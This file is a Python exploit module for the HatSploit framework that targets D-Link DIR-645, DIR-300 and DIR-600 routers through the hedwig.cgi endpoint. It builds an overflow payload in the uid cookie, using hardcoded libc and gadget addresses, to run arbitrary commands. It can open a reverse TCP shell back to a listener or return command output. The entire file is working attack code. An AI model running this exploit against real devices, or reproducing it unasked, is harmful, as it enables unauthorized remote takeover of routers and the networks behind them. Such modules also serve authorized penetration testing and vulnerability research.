#!/usr/bin/env python3

#
# This module requires HatSploit: https://hatsploit.netlify.app
# Current source: https://github.com/EntySec/HatSploit
#

import struct

from hatsploit.lib.module import Module
from hatsploit.utils.handler import Handler
from hatsploit.utils.string import StringTools
from hatsploit.utils.http import HTTPClient


class HatSploitModule(Module, Handler, StringTools, HTTPClient):
    details = {
        'Name': "D-Link hedwig Remote Code Execution",
        'Module': "exploit/unix/dlink/hedwig_code_execution",
        'Authors': [
            'Ivan Nikolsky (enty8080) - module developer',
            'Roberto Paleari - vulnerability researcher'
        ],
        'Description': "Remote Code Execution in D-Link DIR-645 <= 1.03, DIR-300 <= 2.14, DIR-600.",
        'Comments': [
            ''
        ],
        'Platform': "unix",
        'Risk': "high"
    }

    payload = {
        'Description': "Payload to use.",
        'Value': "linux/mipsle/shell_reverse_tcp",
        'Categories': None,
        'Architectures': [
            'mipsle',
            'mipsbe',
            'generic'
        ],
        'Platforms': None,
        'Types': None
    }

    options = {
        'RHOST': {
            'Description': "Remote host.",
            'Value': None,
            'Type': "ip",
            'Required': True
        },
        'RPORT': {
            'Description': "Remote port.",
            'Value': 80,
            'Type': "port",
            'Required': True
        },
        'LHOST': {
            'Description': "Local host to listen on.",
            'Value': "0.0.0.0",
            'Type': "ip",
            'Required': True
        },
        'LPORT': {
            'Description': "Local port to listen on.",
            'Value': 8888,
            'Type': "port",
            'Required': True
        },
        'BLINDER': {
            'Description': "Use Blinder instead of payload.",
            'Value': "no",
            'Type': "boolean",
            'Required': False
        }
    }

    def exploit(self, remote_host, remote_port, command):
        command = command.encode("utf-8")

        libcbase = 0x2aaf8000
        system = 0x000531FF
        calcsystem = 0x000158C8
        callsystem = 0x000159CC
        shellcode = self.random_string(973).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + system)
        shellcode += self.random_string(16).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + callsystem)
        shellcode += self.random_string(12).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + calcsystem)
        shellcode += self.random_string(16).encode("utf-8")
        shellcode += command

        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": b"uid=" + shellcode + b";"
        }

        data = {
            self.random_string(7): self.random_string(7)
        }

        response = self.http_request(
            method="POST",
            host=remote_host,
            port=remote_port,
            path='/hedwig.cgi',
            data=data,
            headers=headers
        )

        return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()

    def check(self, remote_host, remote_port):
        response = self.http_request(
            method="GET",
            host=remote_host,
            port=remote_port,
            path="/hedwig.cgi"
        )

        if response is None or response.status_code != 200:
            self.output_error("Target is not vulnerable!")
            return False

        return True

    def run(self):
        remote_host, remote_port, local_host, local_port, blinder = self.parse_options(self.options)

        self.output_process(f"Exploiting {remote_host}...")

        if not self.check(remote_host, remote_port):
            self.output_error("Exploit failed!")
            return

        if blinder.lower() in ['yes', 'y']:
            self.blinder(
                sender=self.exploit,
                args=[remote_host, remote_port]
            )
        else:
            self.handle_session(
                host=local_host,
                port=local_port,
                payload=self.payload,
                post="echo",
                delim="&&",
                sender=self.exploit,
                args=[remote_host, remote_port]
            )
